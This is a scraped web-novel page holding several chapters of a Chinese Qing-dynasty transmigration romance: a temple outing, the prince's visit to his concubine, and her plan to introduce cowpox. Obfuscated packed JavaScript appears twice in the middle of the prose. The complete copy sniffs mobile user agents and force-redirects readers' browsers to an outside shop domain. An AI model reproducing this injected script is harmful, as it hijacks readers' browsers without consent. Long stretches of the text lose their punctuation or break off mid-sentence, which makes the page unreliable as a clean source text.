宋格格身边的丫鬟游夏连忙拉住了她,“前边有个坑呢。” 宋格格这才回神,她看了眼游夏指的地方,发现如果不是游夏扯着她,真踩到那个坑可能她就要跌倒了。 “还有多远?”她顺口问。 游夏看了看前边,估摸着回答,“应该还要走个一盏茶的时间。” “什么?!还要走这么久?!” 李格格猛地抬高的声音传来,约莫是她也问了身边的人还要走多久,“嬷嬷,你看我要不要吃个安胎丸?” 李格格身旁的养生嬷嬷仿佛没被李格格那尖锐的声音刺到,只神情淡定地安抚道:“ 药吃多了也不好,格格您看着状态还不错,应是没什么问题,再坚持着走几步就好了。 李格格喘了口气,抓着谷碧的手撑着自己笨重的身体,颇有些郁闷。 她觉得自己都要走不动了啊。 可这即将见到家人的胡萝卜在她前面吊着,又有嬷嬷这么说,她还是忍了,继续往前走着,刚好就看到宋格格正往她这看,忍不住就回视回去。 看啥呢? 宋格格淡淡收回视线,心里想着刚刚见到的一幕。 福晋……刚刚为什么看李格格呢? “我们离她远点,免得碰撞了。 汪格格看不惯李格格的样,虽然她现在对傅雅也同样淡淡的,可比起李格格,她觉得傅雅还没那么讨厌。 “前面可真是热闹得很啊。 走在后头的傅雅不禁感叹,一副吃瓜围观模样。 还别说,有时候李格格的存在也是好事,至少不无聊啊,一个人就能弄出一场戏的热闹来,只要这戏不在自己身上,还是很有意思的。 潭拓寺在康熙三十一年由康熙拨款修整了一波,整座寺庙看起来既没有那种破旧感,又因为已经过去了三年,也少了新建筑的那种虚浮,呈现出刚刚好的历史沉淀气质。 来了寺庙,除了拜佛求平安,这寺若是斋饭好,那么还会特地吃个素斋宴,她们今日来的潭拓寺则正好以一手好斋饭而出名。 不过此时还未到用膳的时间点,各个主子们便先在自己歇息的房间里整理衣着。 傅雅正擦脸时,巧书从门外走了进来,福身后道:“格格,福晋主子那边来人说了,之后行程大家各自安排,不必在一起。 傅雅嗯了声,她把帕子丢回到水盆里,问她,“那福晋有说请安的事么? 一般来说,出来安顿下来后,妾室总该去福晋那边请个安什么的,以示对福晋的尊敬。 巧书道:“福晋说也不必和她请安,她正想清静休息会。 傅雅听她这么说,也不是很意外,她觉得,福晋的性格……是那种不管喜不喜欢都会做好自己职责上的事情,并且还要做得周全,万无一失,旁人都会夸奖她的程度。 但是吧,福晋年岁同样不大,而且人终归不是个机器,再怎么压抑自己本 第 28 章 人在无语时,真的... 比起马车,骑马去寺庙的速度可要快得多。 但再怎么快,也还是有那么点距离,加上三爷和四爷都不需要疾驰,更偏向边跑边散心,于是一路上若这么干巴巴地骑马,也有些无聊。 三爷便先聊起天来。 最开始说的都是一些小事,比如你母妃如何了啊,我母妃过得怎么样,再比如平日里都干些什么,闲暇时有什么玩乐。 再然后,话题不知怎地,就拐到了兄弟上。 “老五那个好性子,昨日听说又被老九给气到了,”三爷说起自己听到的事,“老四你听说了没?” “说是弄坏了老五喜欢的一个花瓶,”四爷神情淡淡道,“结果老五问起来时,老九说是下人给弄的,还是宜娘娘看出老九神情不对,才问了出来。” “没错,这小子可真滑头!”三爷就算是拉着马绳,骑在马上,都忍不住一拍大腿,然后感叹道,“跟老五的性子可真不像,明明都是亲兄弟。” 四爷嗯了一声,“老五性子敦厚,老九……”他声音微微一顿,眉头一蹙又松开,“老九要更为活泼些。” 三爷没注意到四爷的神情变化,不过他聊到这里,本就有他自己的心思,话就带到了四爷身上,“说起来,老四你和小十四性格也不像。” 四爷没吭声,他隐约察觉到了三哥的意图。 没人接话,三爷也自己说了下去,“小十四可比你要咋呼多了,风风火火的,恨不得一天都在马背上不下来,老四你嘛,小时候还能看出点情绪来,长大了反倒板着脸。” 三爷一副回忆表情,脸上还带着笑,随后他看向四爷,仿若只是无心之谈般,对他道,“三哥我原以为你变得板正不懂人情世故了,今天一看,倒非如此,其实还是挺会合人心意的。” 这几日三爷同样也辗转难眠,心中有过犹豫,就连今天他往皇宫去的时候,也一直没下定决心,加上离期限日期还早,就有些拖拖拉拉的。 没想到,他在太子书房里看到了老四。 那一刻,三爷是意外的。 所有兄弟中,他跟太子的关系最好,所以三爷自认为就算他有所迟疑,也该是最早找上太子的,没想到老四却和他一样,选在了清明节沐休这天。 甚至比他还要早那 么一会见了太子。 而这个疑问便一直留在了他心里,借着此时似有若无地表露了出来,想要个答案。 三爷想知道,他这个弟弟,是不是已经决定站在太子这边了。 那四爷听出来了三爷的试探么? 听出来了。 但他听得有些不耐烦,不耐烦三爷问就问,为什么非得说得这么酸,他想,不就是你跟太子关系好么,这是生怕有个弟弟冒出来跟你抢了太子的亲近? 因此他回答时,口吻便显得有些冷硬,“三哥说的话,弟弟倒是听不太懂,什么叫合心意,我只是做我该做的罢了。 如今太子依旧得皇上喜爱看重,任谁有什么心思都会按住,四爷也不信三爷就这么坚定地跟着太子走。 谁还不知道谁么,都是皇子,难道还能甘心匍匐于人下,大家心中或多或少都有那么点心思,只是有心不代表有力。 三爷被四爷这冷冰冰的话一怼,有点恼,可他看老四板着一张脸,那恼又很快消失,讪讪起来,明白是自己先拿话刺了老四,真要计较起来反而是他这个当哥哥的不对。 “是我这个哥哥话说得有些歪,老四你就看在我是哥哥的份上,宽容一二,宽容一二。三爷打着哈哈,将这事给混了过去,转而道,“我看也聊了这么会了,不如我们比比看谁先到潭拓寺吧。 四爷不置可否,不过马鞭却一扬,底下的马儿便提高了速度蹿了出去。 “嘿,老四你偷跑! 老三看他这有点儿缺德的行为,就边追边笑骂,跑在前头的四爷嘴角微微勾起。 后头被甩下的贴身太监连忙也跟着追了上去。 一路两人你敢我追的,最后是四爷先到了寺庙门口,他下了马,只觉身心舒畅了些,回过头来看三爷时,也觉得他三哥变得顺眼了。 “看来这回是老四你赢了,三爷也下了马,他笑道,“赢家总得有东西嘛,看来这次就只能先让我家福晋等等了,等我再给她从太子那扒拉东西回来。 这么说着,三爷就将自己怀里的木盒给了四爷,摆摆手,不等四爷说话就示意自己要去找三福晋了。 四爷看着手上多出来的木盒,又是好笑,又是无奈。 他这三哥……心思多,却有些优柔寡 断的,若是有人因此赶到他前头了,他就喜欢说些酸话,可一旦你也冷冰冰地顶了回去了,他就算恼也不会恼很久,反而会知道是自己自找的,然后又想办法弥补一下。 就像这次,四爷心知肚明,自己的骑射比不过三哥,要知道三哥在所有兄弟中骑射是不输大哥的,他能够赢了三哥,只能说是他特意让了一步。 给了木盒,算是赔罪,也算是表示哥哥我其实不介意你也站太子。 这样性子的三哥,真是让四爷讨厌也不是,毕竟他三哥也帮过他,可是要说喜欢吧,又觉得他这三哥有时候的确有点儿烦。 四爷叹了口气,摇摇头不再想,径直进了寺庙,好不容易赶上的苏培盛连忙下马,气喘吁吁地跟在四爷后头。 路上四爷隐隐听到禅声缭绕,又有发了嫩芽的古木生机勃勃,令人见之不由有平心静气之效,等他走到福晋歇息的庭院时,还闻到了一股檀香味。 等走近了福晋,四爷从她身上闻到了更明显的檀香气味。 “刚刚是去拜佛了?”他问。 福晋道:“妾身是去听佛法了。” 四爷恍然,难怪他觉得福晋此时的神情显得过于平和淡然了呢,虽然也因此寡淡得让人提不起亲近的兴趣,可四爷又觉得,此刻的福晋身上那种隐约有的沉闷少了些。 那就说明听佛法对福晋是好的,四爷也挺满意的。 他终究是希望福晋好好的,能与他一路走下去。 之后四爷又问了几句其它事,得知后院女人们都安顿好后,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这会他还不知道傅雅去竹林是干什么的,只以为是在赏竹,主要他也没问,巧书就更不会说格格是去挖竹笋了,这说出来就不太符合如今世俗流行赞美的女子的文静。 于是等四爷到了竹林时,第一眼就是往旁边的亭子看,发现没看到人时还愣了会。 那丫鬟骗了他? 四爷不觉得她胆子有那么大,这寺里也有人守着,不至于出什么事。 直到苏培盛结结巴巴地在他身后道:“主、主子爷,富察格格该不会、该不会是在那吧? 四爷闻言朝着苏培盛指的方向看去,刚好就看到了竹林里站着个穿着藕荷色旗装的小格格,此时正丢开了手里的锄头,抱着还沾着泥巴的竹笋喜气洋洋地露出笑颜,原本明媚的面容上也抹上了灰土。 好端端的美人,立刻就变得沾地气起来。 四爷:“…… 人到无语的时候,真的会莫名其妙笑出来。 就像此刻的四爷,突然就嗤笑了声,笑得苏培盛都怀疑他家主子爷是不是气笑的。 “主子爷? 四爷没回他,而是大步朝前,跨过了围栏,跟着进了竹林。 于是正在欣赏自己战果的傅雅就听得不远处一个熟悉的低沉的声音砸了过来。 “这么喜欢挖东西,要不要爷带你去庄子上给你个几亩地,让你挖个够啊? 作者有话要说 第 29 章 你这嘴巴,还挺会... 旁边的巧琴和赵德利都已跪下,傅雅抬头,看到四爷大步朝她走来,脸上似笑非笑的。 尤其他刚刚说的话,还带着点挖苦意味。 乍一看,是挺能唬住胆子小的人的。 不过他越是如此,傅雅越不见怕,有时候一件事儿你自己不当回事,反而会大事化小小事化了,所以她直接把自己原本拿着的春笋丢进竹篓里,然后立刻扑了过去,扑到了这人的身上。 “给爷请安。” 一个人扑过来,再怎么轻,都是带有一点冲击力的,不过四爷脚步没动,原地站得稳稳地,他环住怀里格格的腰,低头看她时,眉头都挑了起来,“扑到爷的身上叫请安?” 这是请安的姿势么? 四爷刚刚看她扑过来的那姿势,都看得心一跳,这小格格也不怕摔倒。 “嘿嘿,”傅雅同样伸手环住这人的腰,不仅不害怕,还故意仰起脸来,笑得更开心了,“爷要带我去庄子上玩么?” 四爷都没想到她这么会顺杆子往上爬,脸上的笑都收起来了,板着脸看她。 “你说呢?” “那我就当爷答应了,”傅雅笑嘻嘻地,她手在四爷腰上乱摸,“爷身上带了什么东西呢,硌得慌。” 四爷被她摸得身子都有些发热,没好气地拉开了她,只觉得自己之前真是鬼迷心窍了才会想带东西来看看小格格,“没规矩……” 四爷是很想聊聊她怎么这么喜欢在外面就动手动脚的,还有说话也是,简直百无禁忌,按理来说就算家里不管,在旗女子选秀进宫时都会有嬷嬷教着一举一动的规范。 但他才故意沉下口吻说了这么几个字,见傅雅站在他面前,歪着脑袋一副乖巧的模样听训,他就有点下不了狠口了。 于是明明是想要训斥的,可语气听起来却不怎么严厉,威慑力可谓是十分弱了九分。 “问问题就好好问,不要动手动脚的。” 他说完,就把怀里的木盒拿了出来,丢给了傅雅。 傅雅眼疾手快地接住,眨巴眨巴眼,“四爷,这是给我的么?” 四爷负着手,嗯了一声。 傅雅便打开了木盒,看到里面的东西时,又笑了起来。她拿出首饰,是个金镶珠石点翠簪,累丝镂空出五朵 精巧灵芝模样组成梅花状梅花中心嵌有莹润珍珠发簪尾端则以点翠做点缀。 欣赏了簪子的美丽后傅雅就眼含期待看向四爷“四爷你帮我戴上么?” 她递出簪子眼巴巴地看着四爷四爷被看得眉头一拧接过了簪子比划着角度嘴里道:“爷总共也就见了你那么几回回回你都没个正经样得亏你只是爷的格格不是管事的不然……呵。” 最后以一句轻呵结尾透着很明显的嫌弃感。 然而他手上的动作却没停甚至在给傅雅插簪子时替她把有点儿乱了的头发给弄整齐了。 虽然动作算不上熟练不过四爷行事谨慎在此时也发挥了这种风格并不会拉扯得她头皮疼弄着弄着他的视线落到傅雅脸上。 四爷见她微微低头方便他动作垂眸时脸上带着笑显然很开心的样子他心中柔软之处也有种被轻轻触碰之感。 不自觉地他眼中也有笑意闪过。 旁边巧琴和赵德利虽然都站起来了可全程都低着头不敢乱瞟苏培盛好点所以将四爷的举动看得清清楚楚。 他忍不住就在心里想主子爷哎您这嘴里嫌弃着可富察格格让您给做的事情您可是都做了。 这态度能叫嫌弃吗? 这能让富察格格吃到教训日后收敛么? 反正苏培盛是不觉得的没看主子爷都这么说了富察格格依旧笑眯眯的么只怕瞎子都能看出来四爷不是真心训斥。 傅雅听出四爷话里是说自己只适合当个格格不适合当个正妻的意思她并不生气因为她自己知道她是什么样的人所以四爷这番话对她来说就是左耳进右耳出。 她就只是冷不丁地又凑近了四爷抱住他的腰往他身上蹭了蹭然后立刻松手后退了几步故意将视线从四爷脸上扫到身上笑眯眯地道:“这下四爷就和我一样不正经啦。” 四爷低头一看看到自己衣服上被蹭到的泥土:“……” “富察氏!” 他立刻沉下脸色来“爷要想想怎么罚……” 话没说完傅雅就叫屈了“我做这些都是想着四爷呢 的模样瞅他。 四爷抽出自己的衣袖,负手在背后,做出冷酷的模样。 没了衣袖可以抓,傅雅也不挑,换成了衣角,“四爷,这大理寺少卿判罪都还要先审一审,您这么聪明机智明察秋毫刚正不阿的人,一定能明白我的。 “是吗,四爷冷哼了声,“怎么就跟爷扯上关系了,难道不是你自己想要玩闹么? 四爷表情依旧很冷酷,不过这回没把自己衣角也给抽出来,而且还顺着傅雅给的台阶下了。 傅雅清清嗓子,开始胡说八道,“这寺里的春笋那是受了佛法熏陶的,肯定跟外面的不同,我就想着挖来做吃食,然后献给四爷,四爷吃了也就多了一层佛光笼罩呢。 说到后面,她还比划起来,对着四爷虚空描边,像是佛光已经出现了一样。 ……什么乱七八糟的! 四爷表情都有点绷不住了,忍了忍,最后还是没忍住,轻轻笑出声来,索性也不再装出冷面的模样。 “你这嘴巴,还挺会叭叭的。 四爷抬手,捏住了她的唇,他轻笑道,“那爷就等你做好,若是不好吃,爷还是要罚你的。 傅雅抓住他的手腕,眨巴眨巴眼,四爷就松开捏的动作,傅雅嘴巴得了解放,立刻笑嘻嘻道:“那就请爷等着了。 四爷嗯了声,这其实就是个格格送吃食讨好主子爷的常见事,可四爷发现自己竟也有了些许期待和好奇。 或许是因为傅雅的一举一动都给他带来新鲜和愉悦感,让他觉得就算是这种常见事,她也能给他带来与众不同的感觉,加上他在傅雅这里总是轻松的,让他觉得那一定是个让他不讨厌的惊喜。 光是在这里这么杵着说话,身上还沾着泥土,旁边丢着锄头,装了春笋的竹篓,看着也不像个样子,一行人便回了傅雅歇息的庭院。 走在后头的赵德利和巧琴都松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266496|136223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气,声音交叠在一起,两人都察觉到了。 赵德利就朝巧琴比划,悄默默竖了个大拇指,大拇指对着格格的背影。 巧琴朝他翻了个白眼,不过又能理解赵德利的心情。 她是贴身伺候格格的,格格和主子爷相处的细节她知道的比赵德利多,可这事就算再多来几次,她都觉得很是挑战人的神经,太刺 激了让人不得不佩服格格撩拨主子爷的情绪却又不会让主子爷真的生气的手段。 到了庭院自然是要换身衣服不过这里是寺庙傅雅住的庭院没有准备四爷备用的衣服苏培盛就去跑腿拿了。 巧琴上了茶四爷便边喝边等傅雅看到了摆放在榻上的棋奁便伸手揭开了盖子。 里面装着满当当的黑色棋子玛瑙的。 四爷眼里就带了笑意。 等苏培盛带了衣服过来傅雅也换好出来四爷与她擦身而过时捏了捏她的脸“等会和爷下一盘棋。” 傅雅没来得及回话四爷身影已经消失在屏风后她就自己走到榻边坐上也看到了被揭开盖子的棋奁她还愣了下这玩意什么时候摆出来的? 她都没想到巧琴收拾东西的时候把这个也带来了。 不过再一想想巧琴连自己画画的工具都带了把围棋也带过来这事便又不显得稀奇。 这回不必傅雅再说些讨巧的话四爷便主动让她执黑棋只是短短几天时间傅雅的下棋水平总不可能突飞猛进所以就算执黑棋也下得满脸纠结。 四爷脸上神情淡淡其实没说他心里觉得小格格这幅表情挺有意思的。 或许是因为很鲜活很真实。 一盘棋局下完傅雅皱眉看棋盘上自己输了的棋子布局一脸深思四爷有些意犹未尽正要再来苏培盛上前低声提醒“主子爷快到用膳的时候了。” 兴致被打搅四爷是有些不高兴的不过他记得自己答应了福晋既然允诺了他也不会失约。 “你盯着看再久这棋盘也看不出个花来”四爷看傅雅还苦着脸就觉得好笑“爷那里有棋书到时候让人拿给你看。” “爷是要走了么?”傅雅问。 四爷嗯了声起身下榻“你的家人估摸着也快要来了届时等你们见了面再让你阿玛和兄弟来见爷。” “爷的话我记住了。” 傅雅把他送出门 四爷到了福晋庭院又和福晋闲聊了几句便有寺人来问两位主子的有什么忌口的没得了吩咐后便领着四爷府里的下人去上菜。 一道又一道素菜被呈上来等全部摆盘好后四爷看见有一道荠菜炒春笋便吩咐苏培盛给他夹一筷。 这道菜不仅颜色看着好看吃起来味道也很好芥菜清香春笋鲜嫩不损潭拓寺的素斋名声。 但四爷吃这道菜时脑子里想的却是傅雅不禁又想到她那套胡说八道的词脸上已不自觉地微微笑了起来。 福晋见四爷吃这道菜时神情柔和只以为是四爷喜欢心里暗暗记下了四爷的口味。 作者有话要说 明天上夹子夹子就是【书架】最上方的【新书千字榜】所以临时调整一下更新13号也就是周二的更新放到中午12点~ 第 30 章 家人是她在这个时... 这边四爷和福晋用着膳,那一头傅雅也终于见到了她的家人。 不止是富察家,包括李格格她们的家人也差不多是这个时候过来的,约莫都是觉得来得早了,贵人们说不定歇下后还没来得及重新梳洗,来得太晚却容易让难得的见面时间变短。 于是纷纷选了这个时辰,因此刚好在山下就撞到一起了。 几家人自然是一同上山,沿路也不好就干巴巴赶路,便都端着客气打着招呼,你夸我闺女,我夸你儿子,等到了门口,便有各自女儿身边的人过来,于是就此分开,各找各家。 傅雅早早得了消息,家人才刚到寺庙,她便站在了门口等着,等了一会,她开始来回踱步,若不是此刻正在初春,说不定她还要拿扇子扇扇,来缓解她内心的急切。 又转了个圈,傅雅问巧琴,“东西准备好了吗?” 巧琴立刻道,“茶叶点心什么的奴婢都按照格格您说的备好了。” 傅雅点点头,又开始踱步,来回走了几趟后,她又问巧书,“膳房那边都说了吗?” “夫人和老爷还有三位少爷的口味,奴婢都已经和寺庙后厨打过招呼了,”巧书脆生生应道,“按照格格您说的,把打赏都提前投到了功德箱里。” 巧琴和巧书还是第一次见格格这么耐不住的样子,就连当初格格一直没见到主子爷的面都淡定得很。 她们都以为格格就不会有着急的时候,却原来并非如此。 在傅雅觉得时间怎么过得这么慢,她怕不是要将门口的石板都来回踩出个坑时,终于听到了赵德利的声音从不远处传来,“格格……您这边走……” 傅雅眼神一亮,立刻上前走了几步,看到了走在最前面的父母身影。 赵德利微微弓着身体给富察家人带路呢,就听得前方传来格格明显带笑的声音,“额娘,阿玛,哥哥——” 随后他只觉一阵风吹过,格格的身影在自己的视网膜上留下残影,声音再响起时,已是近在耳前。 “我好想你们——” 赵德利忍不住抬头,看到格格抱住了陈母,言笑晏晏地说着亲昵话儿。 “我刚刚在门口一直等着你们呢,总觉得等了好久,像是过去了几个时辰……” 陈母听着女儿一溜烟 的话之前也看到了女儿迫不及待跑过来的一幕她不觉得女儿行事不够文雅只觉得自己的女儿怎么看怎么好心早就软成了一片。 “主要还是你阿玛不怎么出远门所以连带着我们也跟着走得慢了……” 旁边正准备清清嗓子提醒女儿自己还站在旁边不要只顾着和夫人亲近的傅父:“……夫人说的是是为夫拖累了大家的速度。” 反驳是不可能反驳的夫人说的都有道理。 “之前爬山的时候我让二哥背阿玛阿玛还不愿意呢。”旁边的三哥傅敏立刻嘿嘿笑着补了句气得傅父瞪了他一眼不想跟这个坑爹的儿子计较只对傅雅语气温和道:“不过阿玛虽然走得慢可也是很期待见到芙儿的。” 傅雅将三哥和阿玛之间的官司看入了眼里噗嗤一笑三哥还是那么热衷让阿玛跳脚啊。 从傅雅见到家里人到走到房间里也没有多长的距离都不够一家人仔细问候的等一行人在外间坐下巧琴和巧书上了茶水点心便都很有眼色地全退了出来只在屋外守着。 屋里只剩下自己人二哥傅铎便直接问了出来“妹妹你进府后过得可好福晋性子如何后院里其她格格欺负你了么?还有……”傅铎皱着眉头“……四阿哥可有凶你?” 听到二哥问得如此直白话里的关切之意根本掩不住 她从现代穿越到这层层规矩压人的古代本就多了许多不变和压抑更不用提康熙轻飘飘一指她就不得不进了四爷府里成了一个格格后她没有郁郁寡欢那是她心性乐观还能自我开导。 可那不代表她心中没有无数不满。 唯独在这个时代的家人是她觉得最值的。 富察一家是她来到这个时代遇到的唯一的幸运。 她笑着道“没有人欺负我呢福晋处事公平至于四阿哥……”她指了指自己头上戴着的簪子“二哥你看这是今天四阿哥才给我的。” 傅敏在外头结交的人多混得场合也杂一眼就看出来了傅雅头上簪子的价值他就松了口气“是好东西不管如何这位四阿哥不是个吝啬的。” 若是那种 对自己女人都吝啬的人那就算妹妹受宠生活也好不到哪里去。 其实这两人说的话若是传了出去保准治一个口出不逊的罪过但旁边听着的傅父、陈母和傅文却都没有开口阻拦任由他们说话等傅敏说完了傅文才道“父亲上值时可有听闻四阿哥的名声?” 傅父回忆了番缓缓道:“四阿哥……没有大阿哥和太子显眼不过也是在两位贵人膝下待过的既是有两位娘娘教养过想必不会差。” 这两位贵人一为孝懿皇后二为德妃娘娘。 先谈孝懿皇后就算她是皇帝的表兄妹可这也只是名头上的罢了不代表孝懿皇后真跟康熙有什么青梅竹马之情。 因此就算康熙是看在娘家份上让孝懿皇后一进宫就是妃级待遇可这位娘娘能够在正式册封时得贵妃之位病危时让康熙主动抬为皇后甚至写诗悼念就说明她在康熙那还是有足够分量的不光是亲戚之情。 这样的一个人就算心思简单那也必有独到之处。 再谈德妃娘娘以包衣之身晋为四妃之一膝下立住了两位皇子那就更加不会简单了。 但凡四阿哥在耳濡目染下从这两位贵人身上学到些东西为人、学识和本领都不会太差。 傅文颔首沉吟后道:“既是如此我想就算未来风波渐起四阿哥府被拉下马的概率也会少许多。” 傅铎略有些疑惑 傅敏则咂舌他比二哥要更快领会到大哥的意思这是暗指太子呢。 毕竟太子如今已成年多时甚至今年就要大婚了而成家之后就是立业就算太子不提康熙没想起来簇拥到太子身边的人也会使劲手段给太子争取利益。 所以日后官场上只会越来越不平静。 大哥和阿玛谈起这事就是担心四阿哥站错了位置以至于连累到妹妹。 陈母没去想这些官场上的事情她拉着女儿的手只仔细地看她确认女儿不是嘴上说好话来安慰她们的等她确认女儿面色红润摸着手臂也没什么隐秘伤口她才算放心了一点。 “虽说今年你大哥又要下场可毕竟还没考出个什么来不过他心态倒是挺好的。” 傅雅就笑道:“我一直都觉得大 哥心态很稳,只是可惜了,女儿今年不能再像往年那般给哥哥送考。 傅文道:“虽然不能送考,但是大哥会努力考个好名次,让你在四阿哥府里也能听到报喜的人的声音。 “那我可盼着那日早点来了。傅雅见大哥没什么压力,她也从善如流地笑着应下来,傅文见妹妹脸上的笑,心里叹气,其实错过送考倒没什么,对他来说,不能背着妹妹出嫁,才 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比如一旁的傅敏,觉得光傅父一人跳坑不够,还蠢蠢欲动试图把大哥二哥都踹下去,“也别光阿玛封侯拜相呀,大哥和二哥其实也能做的。 傅铎搭住傅敏的脖子,手下用力,脸上表情却很是爽朗,“那这等光耀门楣的事情哥哥也不能丢下老三你啊。 傅敏试图挣扎,挣扎不能,放弃抵抗。 傅文在旁边看着,微笑而文雅地吐出一字:“该。 此时外头传来刻意加重的脚步声,一家人便不再谈论这等敏感话题,等巧琴进来时,自是什么都没听到,她福身对傅雅道:“格格,素斋宴可以上了。 傅雅便吩咐巧书 和赵德利去提膳来。 等吃过素斋宴傅敏对傅雅感叹“难怪说这潭拓寺的素斋好吃名不虚传啊说不得吃过这餐我这嘴里的泡也能好点。也是奇怪哈才初春呢你三哥我就有点儿上火了。” 傅文微笑着提醒弟弟“你前几天日日都跟外面的人吃羊肉呢。”不上火才怪。 傅雅听得却神情一动从这上火嘴巴起泡想到了另一个东西同样会起泡却不像上火那样就算不管也能消下去。 这个起泡是会要人命的。 那就是天花。 若能解决了天花那阿玛想要升官的事也不是个虚谈了。 作者有话要说 更新! 之后的更新依旧是零点哦 ** 推推我自己的预收 ==★预收文◎《[清穿]团宠的躺赢人生》◎求收藏★== 穿到清朝是什么感受? 李娅表示:谢邀 一觉醒来发现自己成为裕亲王府嫡福晋女儿的李娅发愁地思考自己的未来。 然后她发现似乎她根本不用担心了。 从出生起就让家里病重的父亲开始好转之后又连连碰上好事甚至被高僧盖章福星的她成了有名的皇家团宠。 发展发展科技让自己躺得更舒服点。 谈点甜甜恋爱左手小鲜肉右手帅哥。 在家从父?出嫁从夫? 李娅表示不存在的。 团宠就是可以这么任性。 PS:这本如文名女主会过得很爽可能都不会结婚 暂定清朝不排除开文的时候会改成其它朝代比如秦、汉、唐 第 31 章 大概人都是如此,... 只是这事说来令人震惊,在人多的环境下容易闹出声响,傅雅看了眼傅父他们,拉着额娘进了里间,傅父他们也没在意,只以为是她们娘俩要谈私密话。 走进里间后,傅雅没带着额娘坐到榻上,她只凑近了额娘,小声道:“额娘,我有个办法,很大概率能让阿玛升官,但这事同样不容易。” 陈母抓着她的手微微用力,语气有点儿急,“你该不会是要去求四阿哥吧,额娘不许你这样!” 不管其他人家有多喜欢靠着女儿攀龙附会来获得好处,陈母是万万不愿做的,说是吹吹枕头风,听着容易,可陈母一直觉得,那是受宠的时候,但等女儿不受宠了呢,那时候是不是就要从女儿身上加倍讨还回来? 而且受委屈的是她女儿,拿女儿的委屈来给家里的男人换好处,她觉得自己日后都别想再睡个好觉了! “额娘别急,我不是要求四阿哥,”傅雅摇头,安抚住了她,“我说的,是解决天花一事。” “天——” 陈母眼睛睁大,声调才刚提高,立刻反应过来,压低了声音,同时她也明白了女儿为什么这么小心,不是什么怕傅父也不让她求四爷之类的,而是这事的确不好在没做出来前肆意宣扬。 “……你确定是解决天花么?” 傅雅点头,和她说了牛痘一事。 陈母眉头紧蹙,没有问女儿是哪里得知的。因为傅父书房里就有医术,陈母自己都见过,小时候傅雅也喜欢在傅父房里翻书看,她和傅父又不会拘着傅雅,傅雅也经常跟三个哥哥上蹿下跳、斗鸡遛狗的,牲畜接触得不少。 再来,陈母一直觉得自己的女儿并不蠢,也不缺细心,因此傅雅说的牛痘一事,就算还未验证,她也相信了三四分。 “这事,你没告诉四阿哥?” 傅雅微微一笑,“女儿也是刚刚才想到的,而且四阿哥是皇子,立功的机会多得是,我觉得阿玛更需要。” 说起她穿越之前还未毕业工作996的时候,也是有闲暇时间的,因此也接触过穿越小说,而这类穿越到古代的但凡想要建功立业,有几项可以说是经典招式—— 肥皂、炸药和牛痘。 见得多了,她自己也随手搜了一下,肥皂牵涉的化学等式对她这种已经高考完 了的人来说堪称天文炸药她也只记得所谓的一硫二硝三炭这种其实还缺了许多详细内容的公式唯独牛痘要简单一点。 没有牵扯到什么复杂的数字和难懂的公式而是以故事记录牛痘的出现过程因此傅雅就记住了。 甚至穿越了这么些年后回忆起来也能描述个大概。 只是她一直没说一是因为正如她所解释的那样她的确是现在才想起来二是因为想要将牛痘从纸面资料变成真正的疫苗就算有她记的那些内容也不是那么容易的事情其中涉及到的人力、财力甚至可能天花流出引发的危险都不是简单二字可概括的。 家里过得好好的没事折腾这个干什么呢而且她现在也才十五岁以前就更小了就算家里人对她好牵扯到天花那也是要慎重的不可能轻易听一个小孩子的话。 如今她看出家里人有了改变的想法才将它说了出来。 “芙儿……”陈母攥着女儿的手很用力说得艰涩 她是傅雅的母亲她怎么会看不出来女儿对四爷的感情那是根本不存在什么男女之情可就算如此宠爱也是人能过舒服的关键若傅雅将这事说给四爷听这事就算是对皇子来说也是个天大的功劳。 但傅雅想到的却是自己的家人。 傅雅抱住陈母将头放到她肩膀上轻轻道:“你们要过得好好的。” 她这次没有说什么不委屈或是挺好的话。 陈母眼一热抬手摸着女儿的头她想是这世道委屈了她的女儿只给了男人争功立业的通天之道而让女子困于后宅。 “若你阿玛愿意将此事献给四阿哥呢?”她问。 傅雅没有犹豫地道:“由阿玛自己做决定吧我只是把方法告诉了阿玛。” 由她说给四爷听和由阿玛说给四爷听的效果是不同的。 前者她说不定只能得些轻飘飘的首饰衣服之类的赏赐要是四爷不往外说未来就算她在后院待遇不好了也没人觉得有什么不对她若是想说牛痘是自己提出的除了她的家人没人会相信一个女人会有这种本事她能赌的就只有四爷的良心。 让她赌未来雍正帝的良心? 呵呵她觉得不如去相信太阳从西 边出来。 而阿玛若是决定告诉四爷,出发点一定是为了她。 陈母道:“我想,你阿玛肯定会说给四阿哥听的。 因为他是傅雅的阿玛,他也爱着自己的女儿,比起升官,他更想让女儿在四爷那里有一份香火情,也不愿意掩盖掉女儿在这其中的贡献。 若真由傅父一手操办此事,未来就不能再有傅雅身影在其中,否则说出去了,她献计给家里人,却对四爷不吭声,四爷心再大,也会有个疙瘩心里搁着。 当傅父带着三兄弟要去面见四爷时,陈母转头和傅父说了天花牛痘一事,又讲了傅雅的心思,傅父听了心中尤为感动,如果不是因为快要见四爷了,只怕都能哭出来。 就算如此,傅父眼眶也红了一圈。 “此事……还需告诉四阿哥。傅父哑着声音道,“你替我与芙儿说一声,这事与四阿哥联手,成功的机会才大。 一是此策涉及天花,是需要谨慎再谨慎的事,同时试验出牛痘所需的资源若是有个皇子加入,那能调动的东西更多,更为保险,中间若出了什么问题也更好摆平,且皇子能直面皇帝,上折也不会经手多人,出现被抢功劳的情况。 从五品的侍读想要捏住这等天大的功劳,很有可能被这饼给噎死,这是傅父担忧的地方,和傅雅所顾虑的其实相差不大。 至于第二个理由,则是因为傅父觉得,他们一家立再大的功,也不如让女儿在四爷那里明摆着有份功劳。 此事不同于女子涉政,没有那么敏感,不如明明白白地摆出来,而且傅父知道,就算摆出来了,大家也只会赞一句傅雅细心聪慧,然后将大部分功劳拢在四阿哥身上,小部分再落到他身上。 